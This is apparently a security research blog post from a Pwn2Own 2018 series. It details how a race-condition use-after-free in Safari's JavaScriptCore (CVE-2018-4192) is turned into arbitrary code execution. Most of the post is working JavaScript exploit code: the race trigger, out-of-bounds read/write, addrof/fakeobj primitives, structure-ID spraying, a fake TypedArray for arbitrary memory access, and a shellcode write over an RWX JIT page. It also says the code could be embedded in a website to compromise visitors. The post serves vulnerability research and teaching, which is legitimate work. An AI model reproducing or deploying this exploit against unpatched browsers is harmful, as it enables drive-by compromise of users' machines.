Software bugs come in many shapes and sizes. Sometimes, these code defects (or ‘asymmetries’) can be used to compromise the runtime integrity of software. This distinction is what helps researchers separate simple reliability issues from security vulnerabilities. At the extreme, certain vulnerabilities can be weaponized by meticulously exacerbating such asymmetries to reach a state of catastrophic software failure: arbitrary code execution.

In this post, we shed some light on the process of weaponizing a vulnerability (CVE-2018-4192) in the Safari Web Browser to achieve arbitrary code execution from a single click of an unsuspecting victim. This is the most frequently discussed topic of the exploit development lifecycle, and the fourth post in our Pwn2Own 2018 series.

A weaponized version of CVE-2018-4192, executing arbitrary code against JavaScriptCore in early 2018

If you haven’t been following along, you can read about how we discovered this vulnerability, followed by a walkthrough of its root cause analysis. The very first post of this series provides a top level discussion of the full exploit chain.

Exploit Primitives

While developing exploits against hardened or otherwise complex software, it is often necessary to use one or more vulnerabilities to build what are known as ‘exploit primitives’. In layman’s terms, a primitive refers to an action that an attacker can perform to manipulate or disclose the application runtime (eg, memory) in an unintended way.

As the building blocks of an exploit, primitives are used to compromise software integrity or bypass modern security mitigations through advanced (often arbitrary) modifications of runtime memory. It is not uncommon for an exploit to string together multiple primitives towards the ultimate goal of achieving arbitrary code execution.

The metamorphosis of software vulnerabilities, by Joe Bialek & Matt Miller (Slides 6-10)

In the general case, it is impractical (if not impossible) to defend real world applications against an attacker who can achieve an ‘Arbitrary Read/Write’ primitive. Arbitrary R/W implies an attacker can perform any number of reads or writes to the entire address space of the application’s runtime memory.

While extremely powerful, an arbitrary R/W is a luxury and not always feasible (or necessary) for an exploit. But when present, it is widely recognized as the point from which total compromise (arbitrary code execution) is inevitable.

Layering Primitives

From an educational perspective, the JavaScriptCore exploit that we developed for Pwn2Own 2018 is a great illustration of what layering increasingly powerful primitives looks like in practice.

Starting from the discovered vulnerability, we have broken our JSC exploit down into approximately six different phases from which we nurtured each of our exploit primitives from:

  1. Forcefully free a JSArray butterfly using our race condition vulnerability (UAF)
  2. Employ the freed butterfly to gain a relative Read/Write (R/W) primitive
  3. Create generic addrof(...) and fakeobj(...) exploit primitives using the relative R/W
  4. Use generic exploit primitives to build an arbitrary R/W primitive from a faked TypedArray
  5. Leverage our arbitrary R/W primitive to overwrite a Read/Write/Execute (RWX) JIT Page
  6. Execute arbitrary code from said JIT Page

Each of these steps required us to study a number of different JavaScriptCore internals, learned through careful review of the WebKit source code, existing literature, and hands-on experimentation. We will cover some of these internals in this post, but mostly in the context of how they were leveraged to build our exploit primitives.

UAF Target Selection

From the last post, we learned that the discovered race condition could be used to prematurely free any type of JS object by putting it in an array, and calling array.reverse() at a critical moment. This can create a malformed runtime state in which a freed object may continue to be used in what is called ‘Use-After-Free’ (UAF).

We can think of this ability to incorrectly free arbitrary JS objects (or their internal allocations) as a class-specific exploit primitive against JSC. The next step would be to identify an interesting object to target (and free).

In exploit development, array-like structures that maintain an internal ‘length’ field are attractive to attackers. If a malicious actor can corrupt these dynamic length fields, they are often able to index the array far outside of its usual bounds, creating a more powerful exploit primitive.

Corrupting a length field in an array-like structure can allow for Out-of-Bounds array manipulations

Within JavaScriptCore, a particularly interesting and accessible construct that matches the pattern depicted above is the backing butterfly of a JSArray object. The butterfly is a structure used by JSC to store JS object properties and data (such as array elements), but it also maintains a length field to bound user access to its storage.

As an example, the following gdb dump + diagram shows a JSArray with its backing store (a butterfly) that we have filled with floats (represented by 0x4141414141414141 …). The green fields depict the internally managed size fields of the backing butterfly:

Dumping a JSArray, and depicting the relationship with its backing butterfly

From the Phrack article Attacking JavaScript Engines (Section 1.2), Saleo describes butterflies in greater detail:

“Internally, JSC stores both [JS object] properties and elements in the same memory region and stores a pointer to that region in the object itself. This pointer points to the middle of the region, properties are stored to the left of it (lower addresses) and elements to the right of it. There is also a small header located just before the pointed to address that contains the length of the element vector. This concept is called a “Butterfly” since the values expand to the left and right, similar to the wings of a butterfly.”

In the next section, we will attempt to forcefully free a butterfly using our vulnerability. This will leave a dangling butterfly pointer within a live JSArray, prone to malicious re-use (UAF).

Forcing a Useful UAF

Due to the somewhat chaotic nature of our race-condition, we will want to start our exploit (written in JavaScript) by constructing a top level array that contains a large number of simple ‘float arrays’ to better our chances of freeing at least one of them (eg, ‘winning the race’):

print("Initializing arrays...");
var someArray1 = Array(1024);
for (var i = 0; i < someArray1.length; i++)
    someArray1[i] = new Array(128).fill(2261634.5098039214) // 0x41414141…
...

Note that the use of floats are somewhat common in browser exploits because they are one of the few native 64bit JS types. It allows one to read or write arbitrary 64bit values (contiguously) to the backing array butterfly which will be more relevant later on in this post.

With our target arrays allocated as elements of someArray1, we attempt to trigger the race condition through repeated use of array.reverse(), and stimulation of the GC (to help schedule mark-and-sweeps):

...
print("Starting race...");
v = []
for (var i = 0; i < 506; i++) {
    for(var j = 0; j < 0x20; j++)
        someArray1.reverse()
    v.push(new String("C").repeat(0x10000)) // stimulate the GC
}
...

If successful, we expect to have freed one or more of the backing butterflies used by the float arrays stored within someArray1. Visually, our results will look something like this:

The race condition will free free some butterflies on the heap, while leaving their JSArray cells intact

While driving the race condition, the JSArray v will eventually grow its backing butterfly (through pushes) such that its backing butterfly can get allocated over some of the freed butterfly allocations.

The backing butterfly for \'v\' should eventually get re-allocated over some of the freed butterflies

To confirm this hypothesis, we can inspect all the lengths of arrays we targeted with our race condition. If successful, we expect to find one or more arrays with an abnormal length. This is an indication that the butterfly has been freed, and it is now a dangling pointer into memory owned by a new object (specifically, v)

...
print("Checking for abnormal array lengths...");
for (var i = 0; i < someArray1.length; i++) {
    if(someArray1[i].length == 128) // ignore arrays of expected length...
        continue;
    print('len: 0x' + someArray1[i].length.toString(16));
}

The snippets provided in this section make up a new Proof-of-Concept (PoC) called x.js.

Running this short script a few times, it can be observed that the vulnerability is pretty reliably reporting multiple JSArrays with abnormal lengths. This is evidence that the backing butterflies for some of our arrays have been freed through the race condition, losing ownership of their underlying data (which now belongs to v).

The PoC prints abnormal array lengths found during each run, implying potentially unbounded (malformed) arrays

Explicitly, we have used the race condition to force a UAF of one or more (random) JSArray butterflies, and now the dangling butterfly pointers are pointing at unknown data.

We have used our race condition to overlay a larger (living) allocation v with one or more freed butterflies. From this point, it is easy to demonstrate full control over the ‘abnormal’ array lengths teased above to achieve what is known as a ‘relative R/W’ exploit primitive.

Relative R/W Primitive

By filling the larger overlayed butterfly v with arbitrary data (in this case, floats), we are able to inadvertently set the ‘length’ property pointed at by one or more of the freed JSArray butterflies.

The code for this is only one additional line inserted into our PoC (v.fill(...)). Putting it all together, this is approximately what we have sketched out so far:

print("Initializing arrays...");
var someArray1 = Array(1024);
for (var i = 0; i < someArray1.length; i++)
    someArray1[i] = new Array(128).fill(2261634.5098039214) // 0x41414141...

print("Starting race...");
v = []
for (var i = 0; i < 506; i++) {
    for(var j = 0; j < 0x20; j++)
        someArray1.reverse()
    v.push(new String("C").repeat(0x10000)) // stimulate the GC
}

print("Filling overlapping butterfly with 0x42424242...");
v.fill(156842099844.51764)

print("Checking for abnormal array lengths...");
for (var i = 0; i < someArray1.length; i++) {
    if(someArray1[i].length == 128) // ignore arrays of expected length...
        continue;
    print('len: 0x' + someArray1[i].length.toString(16));
}

Executing this new PoC a few times, we reliably see multiple arrays claiming to have an array length of 0x42424242. A corrupted or otherwise radically incorrect array length should be alarming to any developer.

The PoC reliably printing multiple arrays with an attacker-controlled (unbounded) length

These ‘malformed’ (dangling) array butterflies are no longer bounded by a valid length. By pulling one of these malformed JSArray objects out of someArray1 and using them as one normally would, we can now index far past their ‘expected’ length to read or write nearby (relative) heap memory.

// pull out one of the arrays with an 'abnormal' length
oob_array = someArray1[i];

// write the value 0x41414141 to array index 999999 (Out-of-Bounds Write)
oob_array[999999] = 0x41414141;

// read memory from index 987654321 of the array (Out-of-Bounds Read)
print(oob_array[987654321]);

Being able to read or write Out-of-Bounds (OOB) is an extremely powerful exploit primitive. As an attacker, we can now peek and poke at other parts of runtime memory almost as if we were using a debugger.

We have effectively broken the fourth wall of the application runtime.

Limitations of a Relative R/W

Unfortunately, there are several factors inherent to JSArrays that limit the utility of the relative R/W primitive we established in the previous section. Chief among these limitations is that the length attribute of the JSArray is stored and used as a 32-bit signed integer.

This is a problem because it means we can only index ‘forwards’ out of bounds, to read or write heap data that is close behind our butterfly. This leaves a significant portion of runtime memory inaccessible to our relative R/W primitive.

// relative access limited 0-0x7FFFFFFF forward from malformed array
print(oob_array[-1]);             // bad index (undefined)
print(oob_array[0]);              // okay
print(oob_array[10000000]);       // okay
print(oob_array[0x7FFFFFFF]);     // okay
print(oob_array[0xFFFFFFFF]);     // bad index (undefined)
print(oob_array[0xFFFFFFFFFFF]);  // bad index (undefined)

Our next goal is to build up to an arbitrary R/W primitive such that we can touch memory anywhere in the 64bit address space of the application runtime. With JavaScriptCore, there are a few different documented techniques to achieve this level of ubiquity which we will discuss in the next section.

Utility of TypedArrays

In the JavaScript language specification, there is a family of objects called TypedArrays. These are array-like objects that allow JS developers to exercise more precise & efficient control over memory through lower level data types.

TypedArrays were added to JavaScript to facilitate scripts which perform audio, video, and image manipulation from within the browser. It is both more natural and performant to implement these types of computations with direct memory manipulation or storage. For these same reasons, TypedArrays are often an interesting tool for exploit writers.

The structure of a TypedArray (in the context of JavaScriptCore) is comprised of the following components:

  • A JSCell, similar to all other JSObjects
  • A unused Butterfly pointer field
  • A pointer to the underlying ‘backing store’ for TypedArray data
  • Backing store length
  • Mode flags

Critically, the backing store is where the user data stored into a TypedArray object is actually located in memory. If we can overwrite a TypedArray’s backing store pointer, it can be pointed at any address in memory.

A diagram of the TypedArray JSObject in memory, with its underlying backing store

The simplest way to achieve arbitrary R/W would be to allocate a TypedArray object somewhere after our malformed JSArray, and then use our relative R/W to modify the backing store pointer to an address of our choosing. By reading or writing to index 0 of the TypedArray, we will interface with the memory at the specified address directly.

Arbitrary R/W can be achieved by overwriting the backing store pointer within a TypedArray

With little time to study the JSC heap & garbage collector algorithms, it proved difficult for us to place a TypedArray near our relative R/W through pure heap feng-shui. Instead, we employed documented exploitation techniques to create a ‘fake’ TypedArray and achieve the same result.

Generic Exploit Primitives

Faking our own TypedArray requires more work than a lucky heap allocation, but it should be significantly more reliable (and deterministic) in practice. The ability to craft fake JS objects is dependent on two higher level ‘generic’ exploit primitives that we must build using our relative R/W:

  • addrof(...) to provide us the memory address of any javascript object we give it
  • fakeobj(...) to take a memory address, and return a javascript object at that location.

To create our addrof(...) primitive, we first create a normal JSArray (oob_target) whose butterfly is located after our corrupted JSArray butterfly (the relative R/W).

From JavaScript, we can then place any object into the first index of the array [A] and then use our relative R/W primitive oob_array to read the address of the stored object pointer (as a float) out of the nearby array (oob_target).

Decoding the float in IEEE 754 form gives us the JSObject’s address in memory [B]:

// Get the address of a given JSObject
prims.addrof = function(x) {
    oob_target[0] = x; // [A]
    return Int64.fromDouble(oob_array[oob_target_index]); // [B]
}

By doing the reverse, we can establish our fakeobj(...) primitive. This was achieved by using our relative R/W (oob_array) to write a given address into the oob_target array butterfly (as a float) [C]. Reading that array index from JavaScript will return a JSObject for the pointer we stored [D]:

// Return a JSObject at a given address
prims.fakeobj = function(addr) {
    oob_array[oob_target_index] = addr.asDouble(); // [C]
    return oob_target[0]; // [D]
}

Using our relative R/W primitive, we have created some higher level generic exploit primitives that will help us in creating fake JavaScript objects. It is almost as if we have extended the JavaScript engine with new features!

Next, we will demonstrate how these two new primitives can be used to help build a fake TypedArray object. This is what will lead us to achieve a true arbitrary R/W primitive.

Arbitrary R/W Primitive

Our process of creating a fake TypedArray is taken directly from the techniques shared in the phrack article previously referenced in this post. To be comprehensive, we discuss our use of these methods.

To simplify the process of creating a fake TypedArray, we constructed it ‘inside’ a standard JSObject. The ‘container’ object we created was of the form:

let utarget = new Uint8Array(0x10000);
utarget[0] = 0x41;

// Our fake array
// Structure id guess is 0x200
// [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)]
let jscell = new Int64('0x0118270000000200');

// Construct the object
// Each attribute will set 8 bytes of the fake object inline
obj = {
    // JSCell
    'a': jscell.asDouble(),

    // Butterfly can be anything (unused)
    'b': false,

    // Target we want to write to (the 'backing store' field)
    'c': utarget,

    // Length and flags
    'd': new Int64('0x0001000000000010').asDouble()
};

Using a JSObject in this way makes it easy for us to set or modify any of the objects contents at will. For example, we can easily point the ‘backing store’ (our arbitrary R/W) at any JS object by placing it in the ‘BackingStore’ mock field.

Of these items, the JSCell is the most complex to fake. Specifically, the structureID field of JSCells is problematic. At runtime, JSC generates a unique structureID for each class of JavaScript objects. This ID is used by the engine to determine the object type, how it should be handled, and all of its attributes. At runtime, we don’t know what the structureID is for a TypedArray.

To get around this issue, we need some way to help ensure that we can “guess” a valid structureID for the type of object we want. Due to some low-level concepts inherent to JavaScriptCore, if we create a TypedArray object, then add at least one custom attribute to it, JavaScriptCore will assign it a unique structureID. We abused this fact to ‘spray’ these ids, making it fairly likely that we could reliably guess an id (say, 0x200) that corresponded to a TypedArray.

// Here we will spray structure IDs for Float64Arrays
// See http://www.phrack.org/papers/attacking_javascript_engines.html
function sprayStructures() {
  function randomString() {
      return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);
  }
  // Spray arrays for structure id
  for (let i = 0; i < 0x1000; i++) {
      let a = new Float64Array(1);
      // Add a new property to create a new Structure instance.
      a[randomString()] = 1337;
      structs.push(a);
  }
}

After spraying a large number of TypedArray IDs, we created a fake TypedArray and guessed a reasonable value for its structureID. We can safely ‘check’ if we guessed correctly by calling instanceOf on the fake TypedArray object. If instanceof returned Float64Array, we knew we had created a ‘valid-enough’ TypedArray object!

At this point, we have access to a fake TypedArray from JavaScript, while simultaneously having control over its backing store pointer through utarget. Manipulating the backing store pointer of this TypedArray grants us full read-write access to the entire address space of the process.

// Set data at a given address
prims.set = function(addr, arr) {
    fakearray[2] = addr.asDouble();
    utarget.set(arr);
}

// Read 8 bytes as an Int64 at a given address
prims.read64 = function(addr) {
    fakearray[2] = addr.asDouble();
    let bytes = Array(8);
    for (let i=0; i<8; i++) {
        bytes[i] = utarget[i];
    }
    return new Int64(bytes);
}

// Write an Int64 as 8 bytes at a given address
prims.write64 = function(addr, value) {
    fakearray[2] = addr.asDouble();
    utarget.set(value.bytes);
}

With our arbitrary R/W capability in hand, we can work towards our final goal: arbitrary code execution.

Arbitrary Code Execution

On MacOS, Safari/JavaScriptCore still uses Read/Write/Execute (RWX) JIT pages. To achieve code execution, we can simply locate one of these RWX JIT pages and overwrite it with our own shellcode.

The first step is to find a pointer to one of these JIT pages. To do this, we created a JavaScript function object and used it a few times. This ensures the function object would have its logic compiled down to machine code, and assigned a region in the RWX JIT pages:

// Build an arbitrary JIT function
// This was basically just random junk to make the JIT function larger
let jit = function(x) {
    var j = []; j[0] = 0x6323634;
    return x*5 + x - x*x /0x2342513426 +(x-x+0x85720642*(x+3-x / x+0x41424344)/0x41424344)+j[0]; 
};

// Make sure the JIT function has been compiled
jit();
jit();
jit();
...

We then used our arbitrary R/W primitive and addrof(...) to inspect the function object jit. Traditionally, the object’s RWX JIT page pointer can be found somewhere within the function object.

In early January, a ‘pointer poisoning’ patch was introduced into JavaScriptCore to mitigate the Spectre CPU side-channel issues. This was not designed to hide pointers from an attacker with arbitrary R/W, but we are now required to dig a bit deeper through the object for an un-poisoned JIT pointer.

// Traverse the JSFunction object to retrieve a non-poisoned pointer
log("Finding jitpage");
let jitaddr = prims.read64(
    prims.read64(
        prims.read64(
            prims.read64(
                prims.addrof(jit).add(3*8)
            ).add(3*8)
        ).add(3*8)
    ).add(5*8)
);
log("Jit page addr = "+jitaddr);
...

Now that we have a pointer to a RWX JIT page, we can simply plug it into the backing store field of our fake TypedArray and write to it (arbitrary write). The final caveat we have to be mindful of is the size of our shellcode payload. If we copy too much code, we may inadvertently ‘smash’ through other JIT’d functions with our arbitrary write, introducing undesirable instability.

shellcode = [0xcc, 0xcc, 0xcc, 0xcc]

// Overwrite the JIT code with our INT3s
log("Writing shellcode over jit page");
prims.set(jitaddr.add(32), shellcode);
...

To gain code execution, we simply call the corresponding function object from JavaScript.

// Call the JIT function to execute our shellcode
log("Calling jit function");
jit();

Running the full exploit against JSC release, we can see that our Trace / Breakpoint (cc shellcode) is being executed. This implies we have achieved arbitrary code execution.

The final exploit demonstrating arbitrary code execution against a release build of JavaScriptCore on Ubuntu 16.04

Having completed the exploit, with a little more work an attacker could embed this JavaScript in any website to pop vulnerable versions of Safari. Given more research & development time, this vulnerability could probably be exploited with a >99% success rate.

The last step involves wrapping this JavaScript based exploit in HTML, and tuning timing and figures slightly such that it works more reliably when targeting Apple Safari running on real Mac hardware. A victim could experience complete compromise of their browser by simply clicking the wrong link, or navigating to a malicious website.

Conclusion

With little prior knowledge of JavaScriptCore, this vulnerability took approximately 100 man-hours to study, weaponize, and stabilize from discovery. In our testing leading up to Pwn2Own 2018, we measured the success rate of our Safari exploit at approximately 95% across 1000+ runs on a 13 inch, i5, 2017 MacBook Pro that we bought for testing.

At Pwn2Own 2018, the JSC exploit landed successfully against a 13 inch, i7, 2017 MacBook Pro on three of four attempts, with the race condition failing entirely on the second attempt (possibly exacerbated by the i7).

The next step in the zero-day chain is escaping the Safari sandbox to compromise the entire machine. In the next post, we will discuss our process of evaluating the sandbox to identify a vulnerability that led to a root level privilege escalation against the system.